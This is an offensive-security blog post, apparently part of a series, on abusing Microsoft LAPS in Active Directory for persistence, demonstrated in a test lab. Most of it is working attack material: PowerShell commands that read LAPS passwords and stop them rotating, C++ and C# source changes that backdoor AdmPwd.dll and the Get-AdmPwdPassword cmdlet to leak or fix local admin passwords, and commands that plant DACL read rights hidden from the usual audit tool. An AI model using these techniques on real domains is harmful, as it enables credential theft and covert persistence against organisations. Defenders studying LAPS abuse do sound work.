In Part 1 we explored how one could go about discovering and mapping the LAPS configuration in a domain. In this part, we’ll look at various ways LAPS can be abused for persistence purposes.

Retrieving Passwords EZ Mode

AdmPwd.PS

If you have access to a computer that has the LAPS PowerShell cmdlets installed, grabbing the password is very straight forward.

PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl

ComputerName        : WKSTN02
DistinguishedName   : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password            : q+}W+83O
ExpirationTimestamp : 16/04/2018 11:25:24

This can also be done using PowerView.

PowerView

PS H:\> Get-DomainObject -Identity wkstn02 -Properties ms-mcs-admpwd

ms-mcs-admpwd
-------------
q+}W+83O

Get-DomainObject also accepts a -Credential parameter.

Persistence

As part of the first time LAPS setup Set-AdmPwdComputerSelfPermission is run, which grants permissions for NT AUTHORITY\SYSTEM to update the ms-mcs-admpwd and ms-mcs-admpwdexpirationtime attributes on its own computer object. Having SYSTEM access on a machine allows you to manually modify these attributes.

Expiration Time

When a computer runs gpupdate, it will check the ms-mcs-admpwdexpirationtime attribute - if that time has elapsed it will update the LAPS password and set a new expiration time. By extending this time to some absurd value, you can ensure the password is never updated (unless forced with Reset-AdmPwdPassword).

PS H:\> Get-DomainObject -Identity wkstn02 -Properties ms-mcs-admpwdexpirationtime

ms-mcs-admpwdexpirationtime
---------------------------
         131678386982930135
PS C:\> hostname; whoami
wkstn02
nt authority\system

PS C:\> Set-DomainObject -Identity wkstn02 -Set @{'ms-mcs-admpwdexpirationtime'='231678386982930135'} -Verbose
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl

ComputerName        : WKSTN02
DistinguishedName   : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password            : 0yNk}t4a
ExpirationTimestamp : 01/03/2335 06:44:58

AdmPwd.dll

This DLL is used by the local computer to carry out all the LAPS functionality. There is no integrity checking on this DLL, which means it can be replaced with a modified version. The AdmPwd Project source code can be used as a base for compiling our own.

This is the portion of code that generates a new password and reports it to AD.

//it's time to change the password
//get local Administrator account we're managing password for
LogData.dwID = S_GET_ADMIN;
AdminAccount admin(config.AdminAccountName);

PasswordGenerator gen(config.PasswordComplexity, config.PasswordLength);
TCHAR *newPwd = gen.Generate();
            
//report new password and timestamp to AD
GetSystemTimeAsFileTime(&currentTime);
LogData.dwID = S_REPORT_PWD;
LogData.hr = comp.ReportPassword(newPwd, &currentTime, config.PasswordAge);

if (FAILED(LogData.hr))
    throw LogData.hr;
else
{
    LogData.dwID = S_REPORT_PWD_SUCCESS;
    LogAppEvent(&LogData);
}

Write to File

In this example, I add a few lines to take the newly generated password and write it to c:\backdoor.txt. This is just a re-creation of Maxime Clementz and Antoine Goichot’s work, which can be found here.

LogData.hr = comp.ReportPassword(newPwd, &currentTime, config.PasswordAge);

using namespace std;
wofstream backdoor;
backdoor.open("c:\\backdoor.txt");
backdoor << newPwd;
backdoor.close();
PS C:\> gpupdate /target:computer /force

PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       13/03/2018     21:55                PerfLogs
d-r---       10/03/2018     14:28                Program Files
d-r---       16/07/2016     12:47                Program Files (x86)
d-r---       11/03/2018     12:48                Users
d-----       13/03/2018     21:55                Windows
-a----       17/03/2018     10:47             12 backdoor.txt

PS C:\> cat .\backdoor.txt
3s##5v2BS{70
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl

ComputerName        : WKSTN02
DistinguishedName   : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password            : 3s##5v2BS{70
ExpirationTimestamp : 16/04/2018 11:47:59

Static Password

You could also force it to set a static password.

//TCHAR *newPwd = gen.Generate();
TCHAR *newPwd = _T("Static Password!");
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl

ComputerName        : WKSTN02
DistinguishedName   : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password            : Static Password!
ExpirationTimestamp : 16/04/2018 11:50:55

Really, the skies the limit here.

AdmPwd.PS.dll

The AdmPwd.PS.dll found in C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS can also be replaced. The following source is for the Get-AdmPwdPassword cmdlet.

[Cmdlet("Get", "AdmPwdPassword")]
public class GetPassword : Cmdlet
{
    [Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true)]
    public String ComputerName;

    protected override void ProcessRecord()
    {
        foreach (string dn in DirectoryUtils.GetComputerDN(ComputerName))
            {
                PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);
                WriteObject(pi);
            }
        }
    }

Here I add similar lines of code, where the password information is output to file after an administrator asks for it. Again, you could do a lot more here - exfil them out over C2 for example.

[Cmdlet("Get", "AdmPwdPassword")]
public class GetPassword : Cmdlet
{
    [Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true)]
    public String ComputerName;

    protected override void ProcessRecord()
    {
        foreach (string dn in DirectoryUtils.GetComputerDN(ComputerName))
            {
                PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);

                string[] info = { pi.DistinguishedName, pi.Password, (pi.ExpirationTimestamp).ToLongDateString() + " " + (pi.ExpirationTimestamp).ToLongTimeString() };
                string path = Environment.GetEnvironmentVariable("TEMP") + "\\backdoor.txt";
                System.IO.File.WriteAllLines(path, info);

                WriteObject(pi);
            }
        }
    }
PS H:\> ls $env:temp

    Directory: C:\Users\jlpicard\AppData\Local\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       08/03/2018     21:26                Low
d-----       17/03/2018     11:15                VirtualBox Dropped Files
-a----       08/03/2018     21:37              0 Kno132E.tmp
-a----       08/03/2018     21:39           1512 StructuredQuery.log
-a----       08/03/2018     21:26            685 wmsetup.log
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl

ComputerName        : WKSTN02
DistinguishedName   : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password            : 35.6W5a.
ExpirationTimestamp : 16/04/2018 12:18:56
PS H:\> ls $env:temp

    Directory: C:\Users\jlpicard\AppData\Local\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       08/03/2018     21:26                Low
d-----       17/03/2018     11:15                VirtualBox Dropped Files
-a----       17/03/2018     11:19             58 backdoor.txt
-a----       08/03/2018     21:37              0 Kno132E.tmp
-a----       08/03/2018     21:39           1512 StructuredQuery.log
-a----       08/03/2018     21:26            685 wmsetup.log
PS H:\> cat C:\Users\jlpicard\AppData\Local\Temp\backdoor.txt
CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
35.6W5a.
16 April 2018 12:18:56

ACLs

Once you have something like domain admin, you can modify the principals that have the necessary extended rights over the LAPS attributes to read the passwords. Find-AdmPwdExtendedRights is the default tool to see this information.

PS H:\> Find-AdmPwdExtendedRights -Identity "Workstations" -IncludeComputers | fl

ObjectDN             : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Workstation Admins}

ObjectDN             : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

You can also use the default Set-AdmPwdReadPasswordPermission tool to grant permission over an OU to a user/group.

PS H:\> Set-AdmPwdReadPasswordPermission -Identity "Workstations" -AllowedPrincipals "LAB\rlaren"

Name                 DistinguishedName                                                 Status
----                 -----------------                                                 ------
Workstations         OU=Workstations,DC=testlab,DC=local                               Delegated

The obvious downside, is that it will appear under Find-AdmPwdExtendedRights.

PS H:\> Find-AdmPwdExtendedRights -Identity "Workstations" -IncludeComputers | fl

ObjectDN             : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\rlaren, LAB\Workstation Admins}

ObjectDN             : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

Hidden Backdoors

Andy Robbins and Will Schroeder gave an excellent talk at Black Hat US-17 about DACL backdoors, where they demonstrated (amongst others) that you can add these Extended Rights without Find-AdmPwdExtendedRights being able to see them.

You can do this at the OU and individual Computer level.

OU

PS H:\> $Raw = Get-DomainOU -Raw Workstations
PS H:\> $Target = $Raw.GetDirectoryEntry()
PS H:\> $AdmPwdGUID = (Get-DomainGUIDMap).GetEnumerator() | ? { $_.value -eq 'ms-Mcs-AdmPwd' } | select -ExpandProperty name
PS H:\> $ACE = New-ADObjectAccessControlEntry -InheritanceType Descendents -AccessControlType Allow -PrincipalIdentity rlaren -Right ExtendedRight -ObjectType $AdmPwdGUID
PS H:\> $Target.PsBase.ObjectSecurity.AddAccessRule($ACE)
PS H:\> $Target.PsBase.CommitChanges()
PS H:\> Find-AdmPwdExtendedRights -Identity "Workstations" -IncludeComputers | fl

ObjectDN             : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Workstation Admins}

ObjectDN             : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
PS H:\> Get-AdmPwdPassword -ComputerName "wkstn02" | fl

ComputerName        : WKSTN02
DistinguishedName   : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password            : s;89}],Q
ExpirationTimestamp : 16/04/2018 15:09:35

Computer

PS H:\> $Raw = Get-DomainComputer -Identity wkstn01 -Raw
PS H:\> Get-AdmPwdPassword -ComputerName "wkstn02" | fl

ComputerName        : WKSTN02
DistinguishedName   : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password            :
ExpirationTimestamp : 16/04/2018 15:09:35

PS H:\> Get-AdmPwdPassword -ComputerName "wkstn01" | fl

ComputerName        : WKSTN01
DistinguishedName   : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
Password            : 1;/)2okP
ExpirationTimestamp : 09/04/2018 15:46:17
PS H:\> Find-AdmPwdExtendedRights -Identity "Workstations" -IncludeComputers | fl

ObjectDN             : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Workstation Admins}

ObjectDN             : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

ObjectDN             : CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}

Conclusion

I hope this post gives you some ideas about how LAPS can be abused. Please hit me up if you think I’ve missed anything, or if you want to share any tricks that you may have.